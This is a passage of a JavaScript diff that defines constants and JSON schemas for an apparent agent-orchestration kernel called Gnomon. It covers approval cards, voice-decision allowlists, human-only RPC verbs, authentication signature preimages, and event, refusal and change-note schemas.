+  // ── 8.0:loops: the loop-choice card's two decisions (valid only on a loop-choice card) ──
+  "continue",
+  "stop"
+];
+var PRESENCE_VALUES = ["fresh", "cached", "cli", "voice-armed"];
+var VIA_VALUES = ["gui", "wrapper", "cli", "client", "voice", "link"];
+var VOICE_ELIGIBILITY = ["none", "reversible", "gate", "judgment"];
+var VOICE_INELIGIBLE_REASONS = ["hand-only", "class", "flagged", "voice-phrase", "policy"];
+var VOICE_ARM_CLASSES = ["reversible", "gate"];
+var VOICE_MODES = ["ptt", "conversation"];
+var HANDOFF_DIRECTIONS = ["out", "in"];
+var STRICTNESS_LEVELS = ["L0", "L1", "L2", "L3"];
+var RUN_MODES = ["manual", "ask", "auto-edits"];
+var APPROVE_SIG_DOMAIN = "gnomon:approve:v1";
+var DECISION_SIG_V2_MARKER = "gnomon:decision:v2";
+function decisionMessageV2(f) {
+  return [DECISION_SIG_V2_MARKER, f.cardId, f.decision, f.cardContentHash, f.approverPrincipalId, f.answerDigest].join("\n");
+}
+var DECISION_SIG_V2_DECISIONS = Object.freeze(["answer"]);
+var APPROVE_SCOPE_KINDS = Object.freeze(["exact", "prefix", "file", "repo-edits"]);
+var APPROVE_SCOPE_PREFIX_MAX_WORDS = 3;
+var DECISION_SIG_V2_SCOPED_DECISIONS = Object.freeze(["always"]);
+function scopeDigest(scope) {
+  return sha256Tagged(canonicalJson(scope.kind === "prefix" ? { kind: "prefix", prefix: [...scope.prefix] } : { kind: scope.kind }));
+}
+var CARD_EXPIRY_WHYS = ["timeout", "cancelled", "session-exited", "duplicate-request-id", "answered", "session-drained"];
+var CARD_RESERVED_VALUES = Object.freeze({
+  "M1.1:P8-D58": Object.freeze({
+    kind: ["voice-arm", "grant"],
+    state: ["held"],
+    decision: ["withdraw"],
+    flag: ["voice-phrase"],
+    presence: ["voice-armed"],
+    via: ["voice"]
+  }),
+  "M1.1:P8-R9": Object.freeze({
+    kind: ["handoff", "declassify", "peer-pair"],
+    flag: ["peer"],
+    via: ["link"]
+  }),
+  "M1.1:P8-D86-D88": Object.freeze({
+    kind: ["reconsider", "strictness", "incident"],
+    decision: ["extend", "restart"],
+    flag: ["irreversible", "claim-mismatch"],
+    field: ["note", "strictness"]
+  }),
+  "8.0:P8-D98": Object.freeze({
+    kind: ["daemon-stop"],
+    expiryWhy: ["session-drained"]
+  }),
+  // ── 8.0:loops (docs/specs/gnomon-loops.md §3.1, §3.3, §5) ──
+  "8.0:loops": Object.freeze({
+    kind: ["loop-trust", "loop-choice"],
+    decision: ["continue", "stop"]
+  })
+});
+var CARD_V1_REQUIRED = [
+  "schemaVersion",
+  "cardId",
+  "kind",
+  "requestedBy",
+  "attended",
+  "approverPolicy",
+  "block",
+  "contentHash",
+  "actions",
+  "state"
+];
+var RECONSIDER_ONLY_DECISIONS = Object.freeze(["extend", "restart"]);
+var LOOP_CHOICE_ONLY_DECISIONS = Object.freeze(["continue", "stop"]);
+var row = (approve, deny) => Object.freeze({ approve: Object.freeze({ ...approve }), deny: Object.freeze([...deny]) });
+var VOICE_ALLOWLIST = Object.freeze({
+  // toggle 1 (D58, §14.7 Toggles)
+  permission: row({ reversible: ["allow", "deny"] }, ["deny"]),
+  // `always` never by voice (§14.7 Never)
+  // Aegis L1 (2026-10-24, #gui-ask-card): voice never answers a question (broker #approve refuses voice); ask-user
+  // takes no deny-direction decision, so the row is empty: hand only
+  "ask-user": row({}, []),
+  plan: row({ reversible: ["approve-plan"] }, ["reject"]),
+  // toggle 2 (D58, §14.7 Toggles)
+  "gate-class": row({ gate: ["allow"] }, ["deny"]),
+  fallback: row({ gate: ["fallback-cloud"] }, ["deny"]),
+  budget: row({ gate: ["resume"] }, ["deny"]),
+  // judgment sub-opt-in (D61)
+  knot: row({ judgment: ["resolve"] }, ["deny"]),
+  verdict: row({ judgment: ["accept", "reject"] }, ["reject"]),
+  // hand-only for approving; D66 deny row only (§14.7 Never by voice + Exception D66)
+  tend: row({}, ["reject"]),
+  "merge-conflict": row({}, ["deny"]),
+  install: row({}, ["deny"]),
+  "api-token": row({}, ["deny"]),
+  "voice-share": row({}, ["deny"]),
+  "voice-arm": row({}, ["deny"]),
+  grant: row({}, ["deny"]),
+  handoff: row({}, ["reject"]),
+  declassify: row({}, ["reject"]),
+  "peer-pair": row({}, ["reject"]),
+  reconsider: row({}, ["reject"]),
+  // restart|extend never by voice
+  strictness: row({}, ["deny"]),
+  // every run-mode or level change is hand-only
+  // FOUNDER RULING (TD-2026-10-19-677, Aegis M2): fully hand-only by voice, deny/reject included — the D66 exception.
+  incident: row({}, []),
+  "daemon-stop": row({}, []),
+  // `daemon stop` is root-signed-class (§14.7 Never)
+  // ── 8.0:loops (docs/specs/gnomon-loops.md §3.1, §7) ──
+  // loop-trust is root class and "never by voice", deny included (§3.1, §7: voice cannot trust or resume loops).
+  "loop-trust": row({}, []),
+  // loop-choice: `continue` is hand-only fresh presence; `stop` is voice-eligible in the spec (§3.3), but voice on
+  // loop-choice is deferred to 8.1 (founder scope, docs/plans/gnomon-loops-build.md), so it is hand-only in 8.0.
+  "loop-choice": row({}, [])
+});
+var CAPTURE_KINDS = Object.freeze(["ptt", "open", "toggle"]);
+var SEND_POLICIES = Object.freeze(["key", "countdown", "word", "pieces"]);
+var SENT_BY = Object.freeze(["key", "release", "word", "piece", "hotkey"]);
+var VOICE_ORIGINS = Object.freeze(["hand", "voice", "voice-unverified"]);
+var VOICE_SENT_BY = Object.freeze(["word", "piece", "hotkey", "unverified"]);
+var VOICE_PRESETS = Object.freeze({
+  talk: Object.freeze({ capture: "ptt", send: "countdown" }),
+  dictate: Object.freeze({ capture: "open", send: "key" }),
+  "send-word": Object.freeze({ capture: "open", send: "word" }),
+  pieces: Object.freeze({ capture: "open", send: "pieces" })
+});
+var VOICE_PRESET_IDS = Object.freeze(Object.keys(VOICE_PRESETS));
+var LIABILITY_SEND_POLICIES = Object.freeze(["word", "pieces"]);
+var VOICE_LIABILITY_ACK_TEXT = "Anyone near my mic can send for me: the send word sends my whole draft, and it runs like a message I typed.";
+var VOICE_LIABILITY_ACK_HASH = sha256Tagged(VOICE_LIABILITY_ACK_TEXT);
+var SEND_WORD_RESERVED = Object.freeze([
+  "allow",
+  "deny",
+  "approve",
+  "approved",
+  "reject",
+  "rejected",
+  "accept",
+  "always",
+  "yes",
+  "no",
+  "undo",
+  "confirm",
+  "confirmed",
+  "cancel",
+  "stop",
+  "stop speaking",
+  "hold",
+  "wait",
+  "resume",
+  "withdraw",
+  "answer",
+  "arm",
+  "disarm",
+  "approve plan",
+  "allow always",
+  "yes allow",
+  "never"
+]);
+var SEND_WORD_COMMON = Object.freeze([
+  "ok",
+  "okay",
+  "right",
+  "so",
+  "well",
+  "yeah",
+  "yep",
+  "thanks",
+  "thank you",
+  "done",
+  "go",
+  "next",
+  "and",
+  "the",
+  "now",
+  "please",
+  "sure",
+  "good",
+  "great",
+  "cool",
+  "alright",
+  "send"
+]);
+var SEND_WORD_SUGGESTIONS = Object.freeze(["send", "send it", "over", "ship it", "over and out"]);
+var SEND_WORD_VARIANT_STOP = Object.freeze([
+  "a",
+  "an",
+  "and",
+  "end",
+  "the",
+  "of",
+  "or",
+  "for",
+  "nor",
+  "to",
+  "too",
+  "in",
+  "on",
+  "at",
+  "it",
+  "is",
+  "as",
+  "be",
+  "by",
+  "if",
+  "so",
+  "but",
+  "not",
+  "off",
+  "up",
+  "yet",
+  "all",
+  "any",
+  "are",
+  "was",
+  "were",
+  "has",
+  "had",
+  "have",
+  "do",
+  "did",
+  "does",
+  "can",
+  "will",
+  "just",
+  "that",
+  "this",
+  "then",
+  "than",
+  "there",
+  "here",
+  "what",
+  "when",
+  "who",
+  "how",
+  "why",
+  "you",
+  "your",
+  "me",
+  "my",
+  "we",
+  "our",
+  "they",
+  "them",
+  "he",
+  "she",
+  "his",
+  "her",
+  "its",
+  "with",
+  "from",
+  "into",
+  "um",
+  "uh",
+  "er",
+  "erm",
+  "ah",
+  "oh",
+  "hm",
+  "hmm",
+  "mm",
+  "mhm",
+  "huh",
+  "eh",
+  "hey",
+  "hi",
+  "like",
+  "see",
+  "say",
+  "said"
+]);
+var GNOMON_RPC_V1 = "gnomon-rpc:v1";
+var CLIENT_SURFACES = ["browser", "wrapper", "cli", "conductor"];
+var VERBS = deepFreeze([
+  {
+    n: 1,
+    verb: "status",
+    params: [],
+    result: "self-description",
+    refusals: ["AUTH"],
+    humanOnly: false,
+    access: { human: "yes", agent: "yes", session: "yes", mod: "own view", voice: "yes", readToken: "yes", peer: false }
+  },
+  {
+    n: 2,
+    verb: "session.open",
+    params: ["backend?", "model", "cwd", "mode?", "runMode?", "as?", "goal?", "contract?", "alias?", "derived?", "permitId?", "systemPrompt?", "attended", "brief?"],
+    result: "{hsid, principalId, backend, state}",
+    refusals: ["PERMIT_REQUIRED", "BUDGET_DENIED", "BILLING_REFUSED", "MODEL_UNAVAILABLE", "UNSUPPORTED", "FORBIDDEN"],
+    humanOnly: false,
+    access: { human: "yes", agent: "permit", session: "permit", mod: false, voice: false, readToken: false, peer: false }
+  },
+  {
+    n: 3,
+    verb: "session.send",
+    params: ["hsid", "content", "permitId", "steer?", "source?"],
+    result: "{turn}",
+    refusals: ["PERMIT_REQUIRED", "BUDGET_DENIED", "NOT_FOUND", "BAD_REQUEST"],
+    humanOnly: false,
+    access: { human: "yes", agent: "own subtree", session: "own subtree", mod: "via kernel.call with caller hsid, same scope", voice: "attached session, source: voice forced", readToken: false, peer: false }
+  },
+  {
+    n: 4,
+    verb: "session.stop",
+    params: ["hsid", "interrupt?"],
+    result: "{signals[], exited}",
+    refusals: ["NOT_FOUND", "FORBIDDEN"],
+    humanOnly: false,
+    access: { human: "yes", agent: "own subtree", session: "own subtree", mod: false, voice: "interrupt only", readToken: false, peer: false }
+  },
+  {
+    n: 5,
+    verb: "log.append",
+    params: ["kind", "payload?", "ref?", "causes?", "scope?", "idem?", "audience?", "sensitivity?"],
+    result: "{id, seq, hash}",
+    refusals: ["FORBIDDEN", "BAD_REQUEST", "ENGINE"],
+    humanOnly: false,
+    access: { human: "granted kinds + request.* (first-party human-class connections)", agent: "granted kinds", session: false, mod: "modns.<name>.* only", voice: "voice.* + request.voice.arm", readToken: false, peer: false }
+  },
+  {
+    n: 6,
+    verb: "log.read",
+    params: ["since?", "kinds?", "scope?", "follow?"],
+    result: "backlog + stream",
+    refusals: ["AUTH", "BAD_REQUEST"],
+    humanOnly: false,
+    access: { human: "full", agent: "redacted", session: "own scope", mod: "granted kinds, own modns", voice: "own session + voice.*", readToken: "redacted", peer: false }
+  },
+  {
+    n: 7,
+    verb: "permit.reserve",
+    params: ["kind", "scope", "backend?", "model?", "limits?", "tool?", "input?", "op?", "permitId?"],
+    result: "permit:v1",
+    refusals: ["BUDGET_DENIED", "BILLING_REFUSED", "FORBIDDEN"],
+    humanOnly: false,
+    access: { human: "yes", agent: "yes", session: "own scope", mod: false, voice: false, readToken: false, peer: false }
+  },
+  {
+    n: 8,
+    verb: "approve",
+    params: ["cardId?", "decision", "note?", "decisionSig?", "via?", "voice?", "scope?"],
+    result: "card:v1",
+    refusals: ["FORBIDDEN", "NOT_FOUND", "AUTH"],
+    humanOnly: true,
+    access: { human: "presence per class; root key for use-api-token, install; withdraw on held cards with no presence", agent: false, session: false, mod: false, voice: "intent form only, supervised child inside a live arm", readToken: false, peer: false }
+  },
+  {
+    n: 9,
+    verb: "contract.register",
+    params: ["contract"],
+    result: "{contractId, nodes}",
+    refusals: ["BAD_REQUEST", "FORBIDDEN"],
+    humanOnly: false,
+    access: { human: "yes", agent: "yes", session: false, mod: false, voice: false, readToken: false, peer: false }
+  },
+  {
+    n: 10,
+    verb: "contract.claim",
+    params: ["contractId", "nodeId", "op", "ttl?", "expect?", "note?", "responses?"],
+    result: "{nodeId, status, by, seq, expiresAt?}",
+    refusals: ["CAS_LOST", "NOT_FOUND", "BAD_REQUEST"],
+    humanOnly: false,
+    access: { human: "yes", agent: "yes", session: "yes", mod: false, voice: false, readToken: false, peer: false }
+  },
+  {
+    n: 11,
+    verb: "oracle.run",
+    params: ["contractId", "nodeId", "oracle"],
+    result: "oracle:v1",
+    refusals: ["PERMIT_REQUIRED", "UNSUPPORTED", "ENGINE", "FORBIDDEN"],
+    humanOnly: false,
+    access: { human: "yes", agent: "requests", session: "requests", mod: false, voice: false, readToken: false, peer: false }
+  },
+  {
+    n: 12,
+    verb: "ref.resolve",
+    params: ["ref"],
+    result: "{target, hash?}",
+    refusals: ["BAD_REQUEST", "UNSUPPORTED", "NOT_FOUND"],
+    humanOnly: false,
+    access: { human: "yes", agent: "yes", session: "yes", mod: "yes", voice: "yes", readToken: "yes", peer: false }
+  }
+]);
+var VERB_NAMES = Object.freeze(VERBS.map((v) => v.verb));
+var HUMAN_DEVICE_ACCESS = "verified human device";
+var HUMAN_DEVICE_VERBS = deepFreeze([
+  {
+    n: 13,
+    verb: "gui.open",
+    params: ["cwdHint?"],
+    result: "{url, expiresAt}",
+    refusals: ["FORBIDDEN", "BAD_REQUEST", "ENGINE"],
+    humanOnly: true,
+    access: { human: HUMAN_DEVICE_ACCESS, agent: false, session: false, mod: false, voice: false, readToken: false, peer: false }
+  },
+  {
+    n: 14,
+    verb: "rules.revoke",
+    params: ["ruleId"],
+    result: "{ruleId, revoked}",
+    refusals: ["FORBIDDEN", "NOT_FOUND", "BAD_REQUEST", "ENGINE"],
+    humanOnly: true,
+    access: { human: HUMAN_DEVICE_ACCESS, agent: false, session: false, mod: false, voice: false, readToken: false, peer: false }
+  },
+  {
+    n: 15,
+    verb: "daemon.stop",
+    params: ["reason?"],
+    result: "{cardId, state}",
+    refusals: ["FORBIDDEN", "BAD_REQUEST", "ENGINE"],
+    humanOnly: true,
+    access: { human: HUMAN_DEVICE_ACCESS, agent: false, session: false, mod: false, voice: false, readToken: false, peer: false }
+  }
+]);
+var HUMAN_DEVICE_VERB_NAMES = Object.freeze(HUMAN_DEVICE_VERBS.map((v) => v.verb));
+var DAEMON_STOP_REASONS = Object.freeze(["stop", "upgrade"]);
+var CLIENT_RELAYS = deepFreeze([
+  { relay: "mod.view", params: ["name", "viewId", "input"], forwardsAs: "view.render" },
+  { relay: "mod.command", params: ["name", "commandId", "args"], forwardsAs: "command.run" }
+]);
+var RELAY_NAMES = Object.freeze(CLIENT_RELAYS.map((r) => r.relay));
+var VERB_PARAM_VALUES = deepFreeze({
+  "session.open.runMode": [...RUN_MODES],
+  "contract.claim.note": ["change-note.v1.schema.json#/$defs/claim"],
+  "contract.claim.responses[].response": [...FINDING_RESPONSES]
+});
+var RESERVED_CONTENT_PARTS = ["brief"];
+var STATUS_RESERVED_FIELDS = deepFreeze({
+  links: { reserved: "M1.1:P8-R9", section: "\xA73.9" },
+  strictness: { reserved: "M1.1:P8-D86-D88", section: "\xA73.4" },
+  review: { reserved: "M1.1:P8-D86-D88", section: "\xA77.3" },
+  unobservedRefWrites: { reserved: "M1.1:P8-D86-D88", section: "\xA73.4" },
+  // TD-2026-10-19-194 (voice V0, founder ruling): the live voice arms (empty after a drain) and the arm custody.
+  arms: { reserved: "8.0:TD-2026-10-19-194", section: "\xA714.7" },
+  armCustody: { reserved: "8.0:TD-2026-10-19-194", section: "\xA714.7" }
+});
+var CLIENT_METHODS = Object.freeze([...VERB_NAMES, ...HUMAN_DEVICE_VERB_NAMES, ...RELAY_NAMES]);
+var RESERVED_HELLO_FEATURES = Object.freeze(["journal.cursor", "session.resume"]);
+var LOG_READ_CURSOR_KEYS = ["logId", "seq"];
+var D98_CLOSED_VALUES = deepFreeze({
+  "approval.rule.learned.match": [...ALWAYS_RULE_MATCHES],
+  "session.drained.reason": [...DRAIN_REASONS],
+  // §2.4 rule 11 drain-and-resume rows (T-2026-10-19-014 B1/B2).
+  "session.open.resume.outcome": [...DRAIN_OUTCOMES],
+  "session.sandbox.drainOutcome": [...DRAIN_OUTCOMES],
+  "session.sandbox.phase.resume": [...SANDBOX_D98_PHASES],
+  "session.sandbox.note": [...RESUME_NOTES],
+  "session.exited.reason.drain": [...DRAIN_EXIT_REASONS],
+  "session.inject.channel.drain": [...DRAIN_INJECT_CHANNELS],
+  "session.inject.deadlineSource": [...DRAIN_DEADLINE_SOURCES],
+  "session.refused.resume": [...RESUME_REFUSALS],
+  // #trace-capture (TD-2026-10-19-057): session.sandbox{traced:false, traceRefused}.
+  "session.sandbox.traceRefused": [...TRACE_REFUSALS],
+  "daemon.stop.reason": [...DAEMON_STOP_REASONS]
+});
+var VOICE_CLOSED_VALUES = deepFreeze({
+  "approval.voice.disarm.reason": [...VOICE_DISARM_REASONS],
+  // FORBIDDEN{voice-strictness} data.ceiling: which clamp refused (§14.7 No level, run modes).
+  "refusal.voice-strictness.ceiling": ["null-level", "manual"]
+});
+var ADDITIVE_ENUMS = deepFreeze({
+  "card.kind": [...CARD_KINDS],
+  "card.state": [...CARD_STATES],
+  "card.flags": [...CARD_FLAGS],
+  presence: [...PRESENCE_VALUES],
+  via: [...VIA_VALUES],
+  "principal.kind": [...PRINCIPAL_KINDS],
+  "session.inject.origin": [...INJECT_ORIGINS],
+  decision: [...CARD_DECISIONS],
+  "refusal.gate": [...REFUSAL_GATES],
+  "refusal.reason": [...REFUSAL_REASONS],
+  "client.surface": [...CLIENT_SURFACES],
+  // P8-D98: approval.expire{why} (session-drained, F4).
+  "approval.expire.why": [...CARD_EXPIRY_WHYS],
+  // P8-D86–D88, additive with fail-safe readings (FAIL_SAFE_VALUES).
+  "card.strictness.level": [...STRICTNESS_LEVELS],
+  "run.mode": [...RUN_MODES],
+  "risk.tier": [...RISK_TIERS],
+  "agentClaims.revert.how": [...AGENT_REVERT_HOWS],
+  "kernel.revert.how": [...KERNEL_REVERT_HOWS],
+  "finding.severity": [...FINDING_SEVERITIES],
+  "finding.response": [...FINDING_RESPONSES]
+});
+var FAIL_SAFE_VALUES = deepFreeze({
+  "card.strictness.level": "L3",
+  "run.mode": "manual",
+  "risk.tier": "high",
+  "agentClaims.revert.how": "manual",
+  "kernel.revert.how": "none",
+  "finding.severity": "important",
+  "finding.response": null
+});
+var HELLO_RESULT_KEYS = ["clientApi", "features", "nonce", "clientNonce", "serverKeyId", "serverSig", "clientApiId", "kitId"];
+var CLIENT_NONCE_PATTERN_SOURCE = "^[A-Za-z0-9_-]{22,86}$";
+var CLIENT_NONCE_PATTERN = new RegExp(CLIENT_NONCE_PATTERN_SOURCE);
+var AUTH_SERVER_DOMAIN = "gnomon:auth-server:v2";
+var AUTH_CLIENT_DOMAIN = "gnomon:auth:v1";
+var AUTH_TOKEN_DOMAIN = "gnomon:auth-token:v1";
+function negotiatedLines(n) {
+  return `
+${n.clientApi}
+${canonicalJson([...n.features])}`;
+}
+function authServerMessage(nonce, clientNonce, endpointPath, negotiated) {
+  return `${nonce}
+${clientNonce}
+${endpointPath}${negotiatedLines(negotiated)}`;
+}
+function authClientMessage(nonce, serverKeyId, principalId2, deviceId, endpointPath, negotiated) {
+  return `${nonce}
+${serverKeyId}
+${principalId2}
+${deviceId}
+${endpointPath}${negotiatedLines(negotiated)}`;
+}
+function authTokenMessage(nonce, serverKeyId, tokenId, endpointPath, negotiated) {
+  return `${nonce}
+${serverKeyId}
+${tokenId}
+${endpointPath}${negotiatedLines(negotiated)}`;
+}
+function authServerPreimage(nonce, clientNonce, endpointPath, negotiated) {
+  return `${AUTH_SERVER_DOMAIN}
+${authServerMessage(nonce, clientNonce, endpointPath, negotiated)}`;
+}
+function authClientPreimage(nonce, serverKeyId, principalId2, deviceId, endpointPath, negotiated) {
+  return `${AUTH_CLIENT_DOMAIN}
+${authClientMessage(nonce, serverKeyId, principalId2, deviceId, endpointPath, negotiated)}`;
+}
+function authTokenPreimage(nonce, serverKeyId, tokenId, endpointPath, negotiated) {
+  return `${AUTH_TOKEN_DOMAIN}
+${authTokenMessage(nonce, serverKeyId, tokenId, endpointPath, negotiated)}`;
+}
+var ID_BASE = "https://github.com/ascend42/a-paradigm/packages/gnomon-contracts/schemas/";
+var str = (re) => re ? { type: "string", pattern: typeof re === "string" ? re : re.source } : { type: "string" };
+var enumOf = (values, additive = false) => additive ? { type: "string", enum: [...values], "x-gnomon-additive": true } : { type: "string", enum: [...values] };
+var arr = (items, extra = {}) => ({ type: "array", items, ...extra });
+var closedObj = (properties, required) => ({
+  type: "object",
+  properties,
+  required: [...required],
+  additionalProperties: false
+});
+var ISO = { type: "string", pattern: ISO_DATE_TIME2.source };
+var SHA = str(SHA256_TAGGED);
+var EVENT_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}event.v1.schema.json`,
+  title: "event:v1",
+  description: "Gnomon kernel log envelope (spec \xA74.1). Labels default per kind (\xA79.1, x-gnomon-kinds).",
+  "x-gnomon-kinds": [...EVENT_KIND_NAMES],
+  "x-gnomon-open-namespaces": [...OPEN_USERLAND_NAMESPACES],
+  "x-gnomon-reserved-kinds": Object.fromEntries(
+    EVENT_KIND_NAMES.filter((k) => EVENT_KINDS[k].reserved).map((k) => [k, EVENT_KINDS[k].reserved])
+  ),
+  "x-gnomon-reserved-payload-fields": RESERVED_PAYLOAD_FIELDS,
+  "x-gnomon-session-taints": [...SESSION_TAINTS],
+  "x-gnomon-suspect-reasons": [...APPROVAL_SUSPECT_REASONS],
+  "x-gnomon-reserved-kind-payloads": RESERVED_KIND_PAYLOADS,
+  "x-gnomon-kind-payloads": KIND_PAYLOADS,
+  "x-gnomon-compaction-reasons": [...COMPACTION_REASONS],
+  ...closedObj(
+    {
+      schemaVersion: { const: "event:v1" },
+      id: str(ID_PATTERNS.ev),
+      log: str(ID_PATTERNS.log),
+      seq: { type: "integer", minimum: 1 },
+      at: ISO,
+      principal: str(ANY_PRINCIPAL_PATTERN),
+      keyId: str(KEY_ID_PATTERN),
+      deviceId: str(DEVICE_ID_PATTERN),
+      connId: str(ID_PATTERNS.conn),
+      idem: SHA,
+      session: str(HSID_PATTERN),
+      scope: closedObj(
+        {
+          org: { type: "null" },
+          team: { type: "null" },
+          repo: str(REPO_SCOPE_PATTERN),
+          loop: str("^loop:.+$"),
+          contract: str(CONTRACT_ID_PATTERN)
+        },
+        ["org", "team"]
+      ),
+      audience: enumOf(AUDIENCES),
+      sensitivity: enumOf(SENSITIVITIES),
+      kind: str(KIND_PATTERN),
+      causes: arr(str(REF_V1_JSON_PATTERN)),
+      payload: {},
+      ref: str(REF_V1_JSON_PATTERN),
+      refHash: SHA,
+      prev: SHA,
+      hash: SHA,
+      sig: { type: "string", minLength: 1 }
+    },
+    EVENT_V1_REQUIRED
+  )
+});
+var REF_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}ref.v1.schema.json`,
+  title: "ref:v1",
+  description: 'ref = scheme ":" id ["@" rev] (spec \xA74.4); canonical (alias-expanded) form.',
+  "x-gnomon-schemes": [...REF_SCHEMES],
+  ...str(REF_V1_JSON_PATTERN)
+});
+var REFUSAL_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}refusal.v1.schema.json`,
+  title: "refusal:v1",
+  description: "Gnomon superset of Warpline refusal:v1 (spec \xA74.6). Every Warpline refusal validates (G-CON-02).",
+  ...closedObj(
+    {
+      schemaVersion: { const: "refusal:v1" },
+      code: enumOf(REFUSAL_CODES),
+      verdict: { type: ["string", "null"] },
+      gate: enumOf(REFUSAL_GATES, true),
+      retriable: enumOf(RETRIABILITIES),
+      contested: arr(
+        closedObj(
+          {
+            stableKey: { type: "string" },
+            symbol: { type: "string" },
+            rule: { type: ["string", "null"] },
+            conflictingSlots: arr({ type: "string" }),
+            rank: enumOf(CONTESTED_RANKS)
+          },
+          ["stableKey", "symbol", "rule", "conflictingSlots", "rank"]
+        ),
+        { maxItems: MAX_CONTESTED }
+      ),
+      contestedTotal: { type: "integer", minimum: 0 },
+      pointers: closedObj(
+        {
+          knotPayloadId: { type: "string" },
+          proposedStateId: { type: "string" },
+          rebasedOnto: { type: "string" },
+          claimId: { type: "string" },
+          symbols: arr({ type: "string" })
+        },
+        []
+      ),
+      next: arr(
+        closedObj(
+          {
+            verb: { type: "string", minLength: 1 },
+            params: { type: "object", additionalProperties: { type: "string" } },
+            requires: arr({ type: "string" }),
+            principal: enumOf(NEXT_PRINCIPALS)
+          },
+          ["verb", "params", "requires", "principal"]
+        )
+      ),
+      override: closedObj({ flag: enumOf(OVERRIDE_FLAGS), principal: { const: "human" } }, ["flag", "principal"]),
+      data: {
+        type: "object",
+        properties: {
+          reason: enumOf(REFUSAL_REASONS, true),
+          offered: arr({ type: "string" }),
+          cardId: { type: "string" }
+        }
+      }
+    },
+    REFUSAL_V1_REQUIRED
+  )
+});
+var bytesCapped = (max) => ({ type: "string", "x-gnomon-max-utf8-bytes": max });
+var REF_STR = str(REF_V1_JSON_PATTERN);
+var AGENT_CLAIMS = {
+  ...closedObj(
+    {
+      testedHow: closedObj({ summary: bytesCapped(CHANGE_NOTE_LIMITS.summaryBytes), refs: arr(REF_STR) }, ["summary", "refs"]),
+      risk: closedObj(
+        { tier: enumOf(RISK_TIERS, true), why: bytesCapped(CHANGE_NOTE_LIMITS.whyBytes), blast: arr(str("^sym:.+$")) },
+        ["tier", "why", "blast"]
+      ),
+      revert: closedObj(
+        { how: enumOf(AGENT_REVERT_HOWS, true), steps: bytesCapped(CHANGE_NOTE_LIMITS.stepsBytes), reversible: { type: "boolean" } },
+        ["how", "steps", "reversible"]
+      ),
+      draftedBy: str(ANY_PRINCIPAL_PATTERN)
+    },
+    CHANGE_NOTE_AGENT_KEYS
+  ),
+  "x-gnomon-trust": "untrusted: agent-claimed, sanitized (\xA74.5), never executed, never authority (B16)"
+};
+var KERNEL_PART = {
+  ...closedObj(
+    {
+      verified: closedObj({ n: { type: "integer", minimum: 0 }, of: { type: "integer", minimum: 0 } }, ["n", "of"]),
+      risk: closedObj(
+        { floor: enumOf(RISK_TIERS, true), effective: enumOf(RISK_TIERS, true), reasons: arr({ type: "string" }) },
+        ["floor", "effective", "reasons"]
+      ),
+      revert: closedObj({ how: enumOf(KERNEL_REVERT_HOWS, true), ref: REF_STR }, ["how"])
+    },
+    CHANGE_NOTE_KERNEL_KEYS
+  ),
+  "x-gnomon-trust": "kernel-computed; never written by the agent"
+};
+var CHANGE_NOTE_CARD = closedObj({ agentClaims: AGENT_CLAIMS, kernel: KERNEL_PART }, ["agentClaims", "kernel"]);
+var CHANGE_NOTE_CLAIM = closedObj({ agentClaims: AGENT_CLAIMS, kernel: false }, ["agentClaims"]);
+var CHANGE_NOTE_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}change-note.v1.schema.json`,
+  title: "change-note:v1",
+  description: "Change note (spec \xA74.11, \xA73.4). Two forms: $defs/claim (contract.claim{note}: agentClaims only, never a kernel part) and $defs/card (cards, contract.built, brief:v1: agentClaims + kernel). agentClaims untrusted, kernel computed. Reserved M1.1 (P8-D86\u2013D88).",
+  $defs: { claim: CHANGE_NOTE_CLAIM, card: CHANGE_NOTE_CARD }
+});
+var FINDING_LOCUS = closedObj(
+  { path: { type: "string", minLength: 1 }, lines: str(LINE_RANGE_PATTERN), symbol: { type: "string", minLength: 1 } },
+  ["path"]
+);
+var REVIEW_FINDING_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}review-finding.v1.schema.json`,
+  title: "review-finding:v1",
+  description: "Reviewer finding (spec \xA74.11, \xA77.3). severity pre-existing is kernel-set; fingerprint = sha256(class \u2016 (symbol ?? path) \u2016 overlapping line range). Reserved M1.1 (P8-D86\u2013D88).",
+  "x-gnomon-responses": [...FINDING_RESPONSES],
+  ...closedObj(
+    {
+      fid: { type: "string", minLength: 1 },
+      round: { type: "integer", minimum: 1 },
+      class: { type: "string", minLength: 1 },
+      severity: enumOf(FINDING_SEVERITIES, true),
+      locus: FINDING_LOCUS,
+      instances: arr(FINDING_LOCUS),
+      claim: { type: "string" },
+      fingerprint: SHA
+    },
+    REVIEW_FINDING_V1_KEYS
+  )
+});
+var CARD_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}card.v1.schema.json`,
+  title: "card:v1",
+  description: "Broker decision card (spec \xA73.4). Enums additive per \xA74.9; unknown state = not decidable.",
+  ...closedObj(
+    {
+      schemaVersion: { const: "card:v1" },
+      cardId: str(ID_PATTERNS.card),
+      kind: enumOf(CARD_KINDS, true),
+      direction: enumOf(HANDOFF_DIRECTIONS),
+      requestedBy: str(ANY_PRINCIPAL_PATTERN),
+      hsid: str(HSID_PATTERN),
+      contractId: str(CONTRACT_ID_PATTERN),
+      nodeId: { type: "string" },
+      attended: { type: "boolean" },
+      approverPolicy: { type: "object", properties: { kind: enumOf(["self"], true) }, required: ["kind"] },
+      block: { type: "object", properties: { schemaVersion: { const: "display-block:v1" } }, required: ["schemaVersion"] },
+      contentHash: SHA,
+      flags: arr(enumOf(CARD_FLAGS, true)),
+      actions: { type: "array" },
+      state: enumOf(CARD_STATES, true),
+      heldUntil: ISO,
+      heldDecision: enumOf(CARD_DECISIONS, true),
+      voice: {
+        type: "object",
+        properties: {
+          eligible: enumOf(VOICE_ELIGIBILITY, true),
+          reason: enumOf(VOICE_INELIGIBLE_REASONS, true),
+          label: { type: "string" },
+          readback: { type: "string" },
+          readbackHash: SHA,
+          echo: { type: "string" }
+        },
+        required: ["eligible", "label", "readback", "readbackHash", "echo"]
+      },
+      decidedBy: str(ANY_PRINCIPAL_PATTERN),
+      decidedAt: ISO,
